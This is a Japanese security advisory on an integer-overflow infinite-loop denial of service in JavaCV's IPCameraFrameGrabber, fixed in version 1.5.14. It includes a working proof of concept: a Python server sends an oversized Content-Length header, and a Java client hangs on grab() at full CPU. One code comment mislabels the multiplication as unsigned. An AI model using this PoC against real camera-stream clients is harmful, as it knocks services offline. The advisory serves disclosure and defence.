JavaCV: `IPCameraFrameGrabber`における整数オーバーフローが、無限ループによるDoS攻撃を引き起こす

### 概要
`IPCameraFrameGrabber`は、設定されたIPカメラから返されるmultipart MJPEG HTTPストリームから、バウンドチェックなしで`Content-Length`の値を解析します。悪意のある、または侵害されたカメラのエンドポイント、またはHTTPレスポンスを改ざんできるネットワーク攻撃者は、`Content-Length`の値を`1073741825`から`2147483647`の範囲で設定することができます。これにより、内部のバッファ拡張ルーチン`ensureBufferCapacity(int)`が32ビットの符号付き整数のオーバーフローを引き起こし、バッファ拡張のループが真の無限ループに陥ります。ループ変数が`0`に遷移し、ループの終了条件を満たすことがなくなり、結果として、`grab()`/`grabBufferedImage()`を呼び出したスレッドは100%のCPU使用率で永久に動作し、例外、タイムアウト、または中断の手段なしに、呼び出し元のアプリケーションのフレーム取得スレッドが永久に停止します。

### 詳細
ファイル: `src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java`

```java
private byte[] readImage() throws IOException {
...
int c0 = subheader.indexOf("content-length: ");
final int c1 = subheader.indexOf('\r', c0);
if (c0 < 0) {
throw new EOFException("カメラのストリームが予期せず終了しました");
}
c0 += 16;
final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim()); // <-- 攻撃者によって完全に制御される
// 適応的なサイズ - 注意 - 2GBのJPEGにしたくない
ensureBufferCapacity(contentLength); // <-- 上限が設定されていない
input.readFully(pixelBuffer, 0, contentLength);
...
}
```

```
private void ensureBufferCapacity(int desiredCapacity) {
int capacity = pixelBuffer.length; // 初期値は1024
while (capacity < desiredCapacity) {
capacity *= 2; // <-- 符号なしintの乗算(オーバーフローの可能性あり)
}
if (capacity > pixelBuffer.length) {
pixelBuffer = new byte[capacity];
}
}
```

`contentLength`は、カメラのストリームのHTTPレスポンスヘッダーからそのまま取得され、`ensureBufferCapacity`に直接渡されます。この際、上限値の検証は行われません(コメント "adaptive size - careful - don't want a 2G jpeg" は、作者がこのリスクを認識していたものの、検証の実装は行われていないことを示しています)。

`ensureBufferCapacity`は、`capacity`(32ビットの`int`型で、初期値は`pixelBuffer.length == 1024`)を繰り返し2倍にし、それが`desiredCapacity`以上になるまで続けます。もし`desiredCapacity`が`2^30`(`1073741824`)よりも大きく、`Integer.MAX_VALUE`(`2147483647`)以下の場合:

1. `capacity`は20回の2倍にすることで`2^30`(`1073741824`)に到達しますが、ループの条件`capacity < desiredCapacity`は依然として真です。
2. `capacity *= 2`は`2^31`を計算しますが、これは符号付き32ビットの`int`型のオーバーフローを引き起こし、`Integer.MIN_VALUE`(`-2147483648`)にラップされます。
3. ループの条件`capacity < desiredCapacity`(負の数と大きな正の数の比較)は依然として真であるため、ループは続行されます。
4. `capacity *= 2`は`Integer.MIN_VALUE * 2`を計算し、2の補数32ビット演算では`0`にラップされます。
5. この時点から、`capacity`は常に`0`(`0 * 2 == 0`)となり、`0 < desiredCapacity`は常に真であるため、`while`ループは永遠に終了しません。

これは、I/O操作、ブロック処理、および`InterruptedException`のチェックがない、CPUに依存するループであり、`Thread.interrupt()`による中断は不可能であり、grabberに設定された`readTimeout`/`connectionTimeout`も無視されます(これらのタイムアウトは、このコードパスの*前*に行われるソケットの読み込みにのみ適用されます)。唯一の解決策は、JVM/スレッドを外部から強制終了することです。

### PoC (概念実証)
ハングを引き起こす、最小限の悪意のある/中間者攻撃型のMJPEGサーバーの例:

```python
import socket

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 8080))
srv.listen(1)
print("listening on :8080")
conn, _ = srv.accept()
conn.recv(4096) # クライアントからのリクエストを読み捨てる

# (1073741824, 2147483647] の範囲の値が、オーバーフローを引き起こす。
malicious_length = 2000000000
header = (
"--myboundary\r\n"
"Content-Type: image/jpeg\r\n"
"Content-Length: %d\r\n\r\n" % malicious_length
)
conn.sendall(header.encode())
# クライアントは、(偽の)ボディを読み込もうとする前に、ensureBufferCapacity()内で無限に処理を繰り返す。
```

Javaクライアント("IPカメラ"のURLを表示するためにjavacvを組み込んだアプリケーションの代表):

```java
import org.bytedeco.javacv.IPCameraFrameGrabber;
import java.util.concurrent.TimeUnit;

public class Poc {
public static void main(String[] args) throws Exception {
IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(
"http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS);
grabber.start();
grabber.grab(); // 戻り値はなし。スレッドがCPUコアを100%で使用し続ける。
}
}
```

上記の悪意のあるサーバーに対してクライアントを実行すると、`grab()`が永久にハングし、CPUコアを完全に消費します。これは、コンストラクタに渡される`startTimeout`/`grabTimeout`に関係なく発生します。

### 影響
`IPCameraFrameGrabber`を使用して、完全に信頼できないソースからのカメラ/MJPEGストリームを読み取るアプリケーションは、脆弱性を持つ可能性があります。特に、一般的な`http://`ストリーム(クラスのドキュメント例で示されているように、`http://host/videostream.cgi?...`など)は、ネットワーク上の攻撃者によって改ざんされる可能性があります。攻撃者は、単一の巧妙に作成されたレスポンスヘッダーによって、読み取りスレッドを永久に、回復不可能な状態にし、CPU使用率を上昇させることができます。認証、JPEGペイロード、または実際のデータ転送は不要であり、悪意のあるヘッダーのみで攻撃が可能です。サーバーがクライアント/カメラごとに読み取りスレッドを生成するような構成の場合(ビデオ監視/モニタリングのバックエンドで一般的なパターン)、この脆弱性を繰り返し利用することで、利用可能なスレッド/CPUリソースを枯渇させ、広範囲なサービス拒否を引き起こす可能性があります。

影響を受けるパッケージ:
- maven org.bytedeco:javacv: 影響を受けるバージョンは1.5.14未満、1.5.14で修正済み。